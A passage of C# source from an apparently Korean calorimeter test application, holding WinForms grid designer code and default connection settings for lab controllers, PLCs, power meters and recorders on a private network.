this.coeffNameColumn.OptionsColumn.AllowEdit = false;
this.coeffNameColumn.OptionsColumn.AllowFocus = false;
this.coeffNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.coeffNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.coeffNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.coeffNameColumn.OptionsColumn.AllowMove = false;
this.coeffNameColumn.OptionsColumn.AllowShowHide = false;
this.coeffNameColumn.OptionsColumn.AllowSize = false;
this.coeffNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.coeffNameColumn.OptionsColumn.FixedWidth = true;
this.coeffNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.coeffNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.coeffNameColumn.OptionsColumn.ReadOnly = true;
this.coeffNameColumn.OptionsFilter.AllowAutoFilter = false;
this.coeffNameColumn.OptionsFilter.AllowFilter = false;
this.coeffNameColumn.Visible = true;
this.coeffNameColumn.VisibleIndex = 0;
this.coeffNameColumn.Width = 182;
//
// coeffID11Column
//
this.coeffID11Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID11Column.AppearanceCell.Options.UseFont = true;
this.coeffID11Column.AppearanceCell.Options.UseTextOptions = true;
this.coeffID11Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.coeffID11Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID11Column.AppearanceHeader.Options.UseFont = true;
this.coeffID11Column.AppearanceHeader.Options.UseTextOptions = true;
this.coeffID11Column.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.coeffID11Column.Caption = "Indoor No.1 #1";
this.coeffID11Column.DisplayFormat.FormatString = "{0:f3}";
this.coeffID11Column.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.coeffID11Column.FieldName = "ID11";
this.coeffID11Column.Name = "coeffID11Column";
this.coeffID11Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.coeffID11Column.OptionsColumn.AllowIncrementalSearch = false;
this.coeffID11Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.coeffID11Column.OptionsColumn.AllowMove = false;
this.coeffID11Column.OptionsColumn.AllowShowHide = false;
this.coeffID11Column.OptionsColumn.AllowSize = false;
this.coeffID11Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.coeffID11Column.OptionsColumn.FixedWidth = true;
this.coeffID11Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.coeffID11Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.coeffID11Column.OptionsColumn.TabStop = false;
this.coeffID11Column.OptionsFilter.AllowAutoFilter = false;
this.coeffID11Column.OptionsFilter.AllowFilter = false;
this.coeffID11Column.Visible = true;
this.coeffID11Column.VisibleIndex = 1;
this.coeffID11Column.Width = 158;
//
// coeffID12Column
//
this.coeffID12Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID12Column.AppearanceCell.Options.UseFont = true;
this.coeffID12Column.AppearanceCell.Options.UseTextOptions = true;
this.coeffID12Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.coeffID12Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID12Column.AppearanceHeader.Options.UseFont = true;
this.coeffID12Column.AppearanceHeader.Options.UseTextOptions = true;
this.coeffID12Column.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.coeffID12Column.Caption = "Indoor No.1 #2";
this.coeffID12Column.DisplayFormat.FormatString = "{0:f3}";
this.coeffID12Column.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.coeffID12Column.FieldName = "ID12";
this.coeffID12Column.Name = "coeffID12Column";
this.coeffID12Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsColumn.AllowIncrementalSearch = false;
this.coeffID12Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsColumn.AllowMove = false;
this.coeffID12Column.OptionsColumn.AllowShowHide = false;
this.coeffID12Column.OptionsColumn.AllowSize = false;
this.coeffID12Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsColumn.FixedWidth = true;
this.coeffID12Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsFilter.AllowAutoFilter = false;
this.coeffID12Column.OptionsFilter.AllowFilter = false;
this.coeffID12Column.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.coeffID12Column.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.coeffID12Column.Visible = true;
this.coeffID12Column.VisibleIndex = 2;
this.coeffID12Column.Width = 158;
//
// coeffID21Column
//
this.coeffID21Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID21Column.AppearanceCell.Options.UseFont = true;
this.coeffID21Column.AppearanceCell.Options.UseTextOptions = true;
this.coeffID21Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.coeffID21Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID21Column.AppearanceHeader.Options.UseFont = true;
this.coeffID21Column.AppearanceHeader.Options.UseTextOptions = true;
this.coeffID21Column.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.coeffID21Column.Caption = "Indoor No.2 #1";
this.coeffID21Column.DisplayFormat.FormatString = "{0:f3}";
this.coeffID21Column.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.coeffID21Column.FieldName = "ID21";
this.coeffID21Column.Name = "coeffID21Column";
this.coeffID21Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsColumn.AllowIncrementalSearch = false;
this.coeffID21Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsColumn.AllowMove = false;
this.coeffID21Column.OptionsColumn.AllowShowHide = false;
this.coeffID21Column.OptionsColumn.AllowSize = false;
this.coeffID21Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsColumn.FixedWidth = true;
this.coeffID21Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsFilter.AllowAutoFilter = false;
this.coeffID21Column.OptionsFilter.AllowFilter = false;
this.coeffID21Column.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.coeffID21Column.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.coeffID21Column.Visible = true;
this.coeffID21Column.VisibleIndex = 3;
this.coeffID21Column.Width = 158;
//
// coeffID22Column
//
this.coeffID22Column.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID22Column.AppearanceCell.Options.UseFont = true;
this.coeffID22Column.AppearanceCell.Options.UseTextOptions = true;
this.coeffID22Column.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.coeffID22Column.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffID22Column.AppearanceHeader.Options.UseFont = true;
this.coeffID22Column.AppearanceHeader.Options.UseTextOptions = true;
this.coeffID22Column.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.coeffID22Column.Caption = "Indoor No.2 #2";
this.coeffID22Column.DisplayFormat.FormatString = "{0:f3}";
this.coeffID22Column.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.coeffID22Column.FieldName = "ID22";
this.coeffID22Column.Name = "coeffID22Column";
this.coeffID22Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsColumn.AllowIncrementalSearch = false;
this.coeffID22Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsColumn.AllowMove = false;
this.coeffID22Column.OptionsColumn.AllowShowHide = false;
this.coeffID22Column.OptionsColumn.AllowSize = false;
this.coeffID22Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsColumn.FixedWidth = true;
this.coeffID22Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsFilter.AllowAutoFilter = false;
this.coeffID22Column.OptionsFilter.AllowFilter = false;
this.coeffID22Column.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.coeffID22Column.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.coeffID22Column.Visible = true;
this.coeffID22Column.VisibleIndex = 4;
this.coeffID22Column.Width = 158;
//
// coeffTitlePanel
//
this.coeffTitlePanel.BackColor = System.Drawing.Color.DeepSkyBlue;
this.coeffTitlePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.coeffTitlePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.coeffTitlePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffTitlePanel.ForeColor = System.Drawing.Color.White;
this.coeffTitlePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.coeffTitlePanel.InnerColor2 = System.Drawing.Color.White;
this.coeffTitlePanel.Location = new System.Drawing.Point(6, 6);
this.coeffTitlePanel.Name = "coeffTitlePanel";
this.coeffTitlePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.coeffTitlePanel.OuterColor2 = System.Drawing.Color.White;
this.coeffTitlePanel.Size = new System.Drawing.Size(838, 28);
this.coeffTitlePanel.Spacing = 0;
this.coeffTitlePanel.TabIndex = 5;
this.coeffTitlePanel.Text = "COEFFICIENT";
this.coeffTitlePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.coeffTitlePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlConfigCoefficient
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Controls.Add(this.thermoPanel);
this.Controls.Add(this.menuPanel);
this.Name = "CtrlConfigCoefficient";
this.Size = new System.Drawing.Size(1816, 915);
this.Load += new System.EventHandler(this.CtrlConfigCoefficient_Load);
this.Enter += new System.EventHandler(this.CtrlConfigCoefficient_Enter);
this.Controls.SetChildIndex(this.bgPanel, 0);
this.Controls.SetChildIndex(this.menuPanel, 0);
this.Controls.SetChildIndex(this.thermoPanel, 0);
this.menuPanel.ResumeLayout(false);
this.thermoPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.coeffGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.coeffGridView)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel menuPanel;
private DevExpress.XtraEditors.SimpleButton saveButton;
private Ulee.Controls.UlPanel thermoPanel;
private DevExpress.XtraGrid.GridControl coeffGrid;
private DevExpress.XtraGrid.Views.Grid.GridView coeffGridView;
private DevExpress.XtraGrid.Columns.GridColumn coeffNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn coeffID11Column;
private Ulee.Controls.UlPanel coeffTitlePanel;
private DevExpress.XtraGrid.Columns.GridColumn coeffID12Column;
private DevExpress.XtraGrid.Columns.GridColumn coeffID21Column;
private DevExpress.XtraGrid.Columns.GridColumn coeffID22Column;
}
}
<file_sep>using HNCSystem.Calorimeter.Shared.Utils;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HNCSystem.Calorimeter.Shared.Manager
{
public class DeviceSettings : Settings<DeviceSettings> // 물리 장비의 설정
{
private IDictionary<DeviceKind, IList<string>> deviceNames;
public SortedDictionary<string, DeviceSetting> Settings { get; private set; } = new SortedDictionary<string, DeviceSetting>();
protected override void SetDefault()
{
#if KDNP21
Settings = new SortedDictionary<string, DeviceSetting>
{
["Controller"] = new DeviceSetting
{
DeviceKind = DeviceKind.Controller,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.UT55AController",
ConnectionString = "Ip=192.168.1.101; Port=4001",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Addresses = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18 },
Properties = new Dictionary<string, object>
{
["DefaultFixedDecimal"] = 100d,
["FixedDecimal#13"] = 10d,
//["FixedDecimal#11"] = 10d,
["Name#1"] = "INDOOR NO.1 DB (℃)",
["Name#2"] = "INDOOR NO.1 WB (℃)",
["Name#3"] = "ID.1 CHAMBER ΔP (mmAq)",
["Name#4"] = "ID.1 NOZZLE ΔP (mmAq)",
["Name#5"] = "INDOOR NO.2 DB (℃)",
["Name#6"] = "INDOOR NO.2 WB (℃)",
["Name#7"] = "ID.2 CHAMBER ΔP (mmAq)",
["Name#8"] = "ID.2 NOZZLE ΔP (mmAq)",
["Name#9"] = "OUTDOOR SIDE DB (℃)",
["Name#10"] = "OUTDOOR SIDE WB (℃)",
["Name#11"] = "OD CHAMBER ΔP (mmAq)",
["Name#12"] = "OD NOZZLE ΔP (mmAq)",
["Name#13"] = "TEST UNIT VOLTAGE (V)",
["Name#14"] = "열원 WATER TEMP. (℃)",
["Name#15"] = "열원 WATER FLOW (LPM)",
["Name#16"] = "부하 WATER TEMP. (℃)",
["Name#17"] = "부하 WATER FLOW (LPM)",
["Name#18"] = "RETURN TEMP. (℃)",
["Id"] = 1
}
},
["PLC"] = new DeviceSetting
{
DeviceKind = DeviceKind.PLC,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.MasterK200sPLC",
ConnectionString = "Ip=192.168.1.101; Port=4002",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["PowerMeter#1"] = new DeviceSetting
{
DisplayName = "WT333",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4003",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["Recorder#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.Recorder,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.GM10Recorder",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualRecorder",
ConnectionString = "Ip=192.168.1.102; Port=34434",
Channels = 120,
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
};
#endif
#if KDNP22
Settings = new SortedDictionary<string, DeviceSetting>
{
["Controller"] = new DeviceSetting
{
DeviceKind = DeviceKind.Controller,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.UT55AController",
ConnectionString = "Ip=192.168.1.111; Port=4001",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Addresses = new[] { 19, 20, 21, 22, 23, 24, 25, 26, 27, 28 },
Properties = new Dictionary<string, object>
{
["DefaultFixedDecimal"] = 100d,
["FixedDecimal#27"] = 10d,
["FixedDecimal#28"] = 1d,
["Name#19"] = "INDOOR NO.3 DB (℃)",
["Name#20"] = "INDOOR NO.3 WB (℃)",
["Name#21"] = "SA CHAMBER ΔP (mmAq)",
["Name#22"] = "SA NOZZLE ΔP (mmAq)",
["Name#23"] = "IN && OUTDOOR NO.4 DB (℃)",
["Name#24"] = "IN && OUTDOOR NO.4 WB (℃)",
["Name#25"] = "EA CHAMBER ΔP (mmAq)",
["Name#26"] = "EA NOZZLE ΔP (mmAq)",
["Name#27"] = "TEST UNIT VOLTAGE (V)",
["Name#28"] = "CO2 CONCENTRATION (PPM)",
["Id"] = 1
}
},
["PLC"] = new DeviceSetting
{
DeviceKind = DeviceKind.PLC,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.MasterK200sPLC",
ConnectionString = "Ip=192.168.1.111; Port=4002",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 2
}
},
["PowerMeter#1"] = new DeviceSetting
{
DisplayName = "WT310",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT310PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.111; Port=4003",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["Recorder#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.Recorder,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.GM10Recorder",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualRecorder",
ConnectionString = "Ip=192.168.1.112; Port=34434",
Channels = 80,
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
};
#endif
#if KDNP23
Settings = new SortedDictionary<string, DeviceSetting>
{
["Controller#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.Controller,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.UT55AController",
ConnectionString = "Ip=192.168.1.101; Port=4001",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Addresses = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18 },
Properties = new Dictionary<string, object>
{
["DefaultFixedDecimal"] = 100d,
["FixedDecimal#13"] = 10d,
//["FixedDecimal#11"] = 10d,
["Name#1"] = "INDOOR NO.1 DB (℃)",
["Name#2"] = "INDOOR NO.1 WB (℃)",
["Name#3"] = "ID.1 CHAMBER ΔP (mmAq)",
["Name#4"] = "ID.1 NOZZLE ΔP (mmAq)",
["Name#5"] = "INDOOR NO.2 DB (℃)",
["Name#6"] = "INDOOR NO.2 WB (℃)",
["Name#7"] = "ID.2 CHAMBER ΔP (mmAq)",
["Name#8"] = "ID.2 NOZZLE ΔP (mmAq)",
["Name#9"] = "OUTDOOR SIDE DB (℃)",
["Name#10"] = "OUTDOOR SIDE WB (℃)",
["Name#11"] = "OD CHAMBER ΔP (mmAq)",
["Name#12"] = "OD NOZZLE ΔP (mmAq)",
["Name#13"] = "TEST UNIT VOLTAGE (V)",
["Name#14"] = "열원 WATER TEMP. (℃)",
["Name#15"] = "열원 WATER FLOW (LPM)",
["Name#16"] = "부하 WATER TEMP. (℃)",
["Name#17"] = "부하 WATER FLOW (LPM)",
["Name#18"] = "RETURN TEMP. (℃)",
["Id"] = 1
}
},
["Controller#2"] = new DeviceSetting
{
DeviceKind = DeviceKind.Controller,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.UT55AController",
ConnectionString = "Ip=192.168.1.111; Port=4001",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Addresses = new[] { 19, 20, 21, 22, 23, 24, 25, 26 },
Properties = new Dictionary<string, object>
{
["DefaultFixedDecimal"] = 100d,
//["FixedDecimal#27"] = 10d,
//["FixedDecimal#28"] = 10d,
["Name#19"] = "INDOOR NO.3 DB (℃)",
["Name#20"] = "INDOOR NO.3 WB (℃)",
["Name#21"] = "SA CHAMBER ΔP (mmAq)",
["Name#22"] = "SA NOZZLE ΔP (mmAq)",
["Name#23"] = "IN && OUTDOOR NO.4 DB (℃)",
["Name#24"] = "IN && OUTDOOR NO.4 WB (℃)",
["Name#25"] = "EA CHAMBER ΔP (mmAq)",
["Name#26"] = "EA NOZZLE ΔP (mmAq)",
//["Name#27"] = "TEST UNIT VOLTAGE (V)",
//["Name#28"] = "CO2 CONCENTRATION (PPM)",
["Id"] = 2
}
},
["PLC#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.PLC,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.MasterK200sPLC",
ConnectionString = "Ip=192.168.1.101; Port=4002",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["PLC#2"] = new DeviceSetting
{
DeviceKind = DeviceKind.PLC,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.MasterK200sPLC",
ConnectionString = "Ip=192.168.1.111; Port=4002",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 2
}
},
["PowerMeter#1"] = new DeviceSetting
{
DisplayName = "WT333",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4003",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
//["PowerMeter#2"] = new DeviceSetting
//{
// DisplayName = "WT310",
// DeviceKind = DeviceKind.PowerMeter,
// DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT310PowerMeter",
// //DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
// ConnectionString = "Ip=192.168.1.111; Port=4003",
// ConnectionTimeout = 2000,
// ReceivedTimeout = 2000,
// Properties = new Dictionary<string, object>
// {
// ["Id"] = 2
// }
//},
["Recorder#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.Recorder,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.GM10Recorder",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualRecorder",
ConnectionString = "Ip=192.168.1.102; Port=34434",
Channels = 120,
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["Recorder#2"] = new DeviceSetting
{
DeviceKind = DeviceKind.Recorder,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.GM10Recorder",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualRecorder",
ConnectionString = "Ip=192.168.1.112; Port=34434",
Channels = 80,
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 2
}
},
};
#endif
#if LGP14
Settings = new SortedDictionary<string, DeviceSetting>
{
//["Controller"] = new DeviceSetting //* 컨트롤러 수정 {{{
//{
// DeviceKind = DeviceKind.Controller,
// DeviceClass = "HNCSystem.Calorimeter.Shared.Device.UT55AController",
// ConnectionString = "Ip=192.168.1.101; Port=4001",
// ConnectionTimeout = 2000,
// ReceivedTimeout = 2000,
// Addresses = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13 },
// Properties = new Dictionary<string, object>
// {
// ["DefaultFixedDecimal"] = 100d,
// ["FixedDecimal#13"] = 10d,
// ["FixedDecimal#14"] = 10d,
// ["Name#1"] = "INDOOR SIDE A DB (℃)",
// ["Name#2"] = "INDOOR SIDE A WB (℃)",
// ["Name#3"] = "ID A CHAMBER ΔP #1 (mmAq)",
// ["Name#4"] = "ID A CHAMBER ΔP #2 (mmAq)",
// ["Name#5"] = "INDOOR SIDE B DB (℃)",
// ["Name#6"] = "INDOOR SIDE B WB (℃)",
// ["Name#7"] = "ID B CHAMBER ΔP #1 (mmAq)",
// ["Name#8"] = "ID B CHAMBER ΔP #2 (mmAq)",
// ["Name#9"] = "OUTDOOR SIDE DB (℃)",
// ["Name#10"] = "OUTDOOR SIDE WB (℃)",
// ["Name#11"] = "OUTDOOR SIDE DP (℃)",
// ["Name#12"] = "TEST UNIT VOLTAGE #1 (V)",
// ["Name#13"] = "TEST UNIT VOLTAGE #2 (V)",
// ["Id"] = 1
// }
//}, //* 컨트롤러 수정 }}}
["PLC#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.PLC,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.XGTsPLC",
ConnectionString = "Ip=192.168.1.101; Port=4002",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["PowerMeter#1"] = new DeviceSetting
{
DisplayName = "WT310 (A)",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4003",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
["PowerMeter#2"] = new DeviceSetting
{
DisplayName = "WT310 (B)",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4005",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 2
}
},
["PowerMeter#3"] = new DeviceSetting
{
DisplayName = "WT333 (150K)",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4006",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 3
}
},
["PowerMeter#4"] = new DeviceSetting
{
DisplayName = "WT333 (300K)",
DeviceKind = DeviceKind.PowerMeter,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.WT333PowerMeter2",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualPowerMeter",
ConnectionString = "Ip=192.168.1.101; Port=4007",
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 4
}
},
["Recorder#1"] = new DeviceSetting
{
DeviceKind = DeviceKind.Recorder,
DeviceClass = "HNCSystem.Calorimeter.Shared.Device.GM10Recorder",
//DeviceClass = "HNCSystem.Calorimeter.Shared.Device.VirtualRecorder",
ConnectionString = "Ip=192.168.1.102; Port=34434",
Channels = 240,
ConnectionTimeout = 2000,
ReceivedTimeout = 2000,
Properties = new Dictionary<string, object>
{
["Id"] = 1
}
},
};
#endif
}
[JsonIgnore]
public IDictionary<DeviceKind, IList<string>> DeviceNames => deviceNames;
public DeviceSetting[] GetDevices(DeviceKind kind)
{
var result = new List<DeviceSetting>();
foreach (var kv in Settings)
{
if (kv.Value.DeviceKind != kind)
continue;
result.Add(kv.Value);
}
return result.ToArray();
}
protected override void OnLoaded()
{
foreach (var kv in Settings)
{
kv.Value.Name = kv.Key; // kv.Value.Name => kv.Key : Controller, PLC, PowerMeter#1, Recorder#1
}
deviceNames = new Dictionary<DeviceKind, IList<string>>();
foreach (var kv in Settings)
{
var dk = kv.Value.DeviceKind; // dk => Controller, PLC, PowerMeter, Recorder
if (deviceNames.ContainsKey(dk) == false)
deviceNames[dk] = new List<string>(); // Controller, PLC, PowerMeter, Recorder 순차 생성
if (kv.Value.Addresses == null) // 어드레스가 null일 경우 실행
{
deviceNames[dk].Add(kv.Key);
continue; // 루프의 조건식으로 되돌아감
}
foreach (var address in kv.Value.Addresses) // 어드레스가 있을 경우 실행
{
var dn = $"{kv.Key}#{address}";
deviceNames[dk].Add(dn); // Controller => Controller#1, Controller#2, ... 추가
}
}
}
}
public class DeviceSetting
{
[JsonIgnore]
public string Name { get; set; }
/// <summary>
/// 화면에 표시될 이름
/// </summary>
